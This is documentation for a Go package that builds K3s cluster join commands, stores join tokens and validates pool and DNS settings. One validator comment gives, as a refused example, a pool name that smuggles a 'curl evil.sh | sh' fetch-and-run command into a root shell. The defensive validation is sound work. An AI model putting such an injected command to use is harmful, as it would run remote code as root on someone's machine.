Help us shape the future of Go! Take the 2026 Go Developer Survey

cluster

package
v0.2.0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Sep 27, 2026 License: MIT Imports: 13 Imported by: 0

Documentation

Overview

Package cluster answers one question: how does a machine join this cluster.

It is deliberately small and deliberately separate from the orchestrator. The orchestrator seam earns its keep by not knowing which Kubernetes it is talking to — it applies workloads, and a Noop implementation stands in for a cluster that is not there. K3S_URL and K3S_TOKEN are K3s specifics, so putting them behind that seam would be the first crack in it: every future distribution would widen an interface that no orchestrator method needs.

Index

Constants

View Source
const DefaultTXTPrefix = "extdns-"

DefaultTXTPrefix is what ExternalDNS is usually deployed with.

A prefix at all, rather than none, is what keeps an apex domain working: the ownership TXT record and the apex's own record would otherwise be the same name, and the provider refuses the pair.

View Source
const PoolLabel = "yacht/pool"

PoolLabel is the node label a pool is carried in.

Variables

View Source
var ErrNoSecretKey = errors.New(
	"cluster: no YACHT_SECRET_KEY is configured, so a join token cannot be stored safely")

ErrNoSecretKey means a join token was offered with no key to seal it.

Refusing is the point, for the reason the app service refuses a secret variable: storing it readable would give the protection in name only, and there would be no way to tell from the outside.

View Source
var ErrNotConfigured = errors.New("cluster: no join settings are stored")

ErrNotConfigured means nobody has stored a server address and join token.

Functions

func BuildCommand

func BuildCommand(serverURL, token, pool string) string

BuildCommand assembles the join line.

Split out from Command so the interesting half — turning three values into something that will be pasted into a root shell — is a pure function with no database and no cluster behind it.

func ValidateCNAMETarget

func ValidateCNAMETarget(target string) error

ValidateCNAMETarget checks the name custom domains are pointed at.

Empty is allowed and means the feature is off: an install with no ExternalDNS has nothing to target, and refusing to save that would force a value that does not exist.

func ValidatePool

func ValidatePool(pool string) error

ValidatePool checks a pool name.

The rule is Kubernetes' own for a label value, which happens to exclude every character that could end the command and start another one. A pool called `web; curl evil.sh | sh` is refused here rather than quoted and hoped over, because the result is pasted into a root shell.

func ValidateServerURL

func ValidateServerURL(raw string) error

ValidateServerURL checks the address an agent will connect back to.

func ValidateTXTPrefix

func ValidateTXTPrefix(prefix string) error

ValidateTXTPrefix checks the ownership record prefix.

Types

type DNS

type DNS struct {
	// CNAMETarget is what a custom domain's CNAME must point at, and what
	// ExternalDNS is told to target so it publishes a CNAME rather than the
	// nodes' own addresses.
	CNAMETarget string

	// TXTPrefix must match --txt-prefix on the ExternalDNS controller.
	//
	// Recorded rather than applied. Yacht does not deploy that controller and
	// cannot set a flag on it; keeping the value here is so the two can be kept
	// in step and so the page can say what it should be. Nothing in an Ingress
	// carries it.
	TXTPrefix string

	UpdatedAt string
}

DNS is how this install publishes hostnames.

type Joiner

type Joiner struct {
	// contains filtered or unexported fields
}

Joiner stores the join settings and builds the command.

func New

func New(pool *pgxpool.Pool, keeper *secret.Keeper, log *slog.Logger) *Joiner

New returns a Joiner. keeper may be nil, in which case storing settings is refused rather than done unsafely.

func (*Joiner) Command

func (j *Joiner) Command(ctx context.Context, pool string) (string, error)

Command returns the line to run on a machine to join it to this cluster.

The returned string contains the join token in the clear, because that is what the person running it needs. It is the only thing in this package that carries the token, and the only caller is the page an owner asked for.

func (*Joiner) DNS

func (j *Joiner) DNS(ctx context.Context) (DNS, error)

DNS returns the install's DNS settings, with defaults when none are stored.

func (*Joiner) SetDNS

func (j *Joiner) SetDNS(ctx context.Context, target, prefix string) error

SetDNS stores the install's DNS settings.

func (*Joiner) SetJoin

func (j *Joiner) SetJoin(ctx context.Context, serverURL, token string, by uuid.UUID) error

SetJoin stores the address agents connect back to, and the token they use.

func (*Joiner) Settings

func (j *Joiner) Settings(ctx context.Context) (Settings, error)

Settings returns the stored settings without the token.

type Settings

type Settings struct {
	ServerURL string
	TokenSet  bool
	UpdatedAt string
}

Settings is what the join settings look like from outside this package.

It carries no token. Everything that renders a page takes one of these, so the token cannot reach a template by being carried somewhere it was not needed — the same reason app.Variable does not carry a secret's value.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL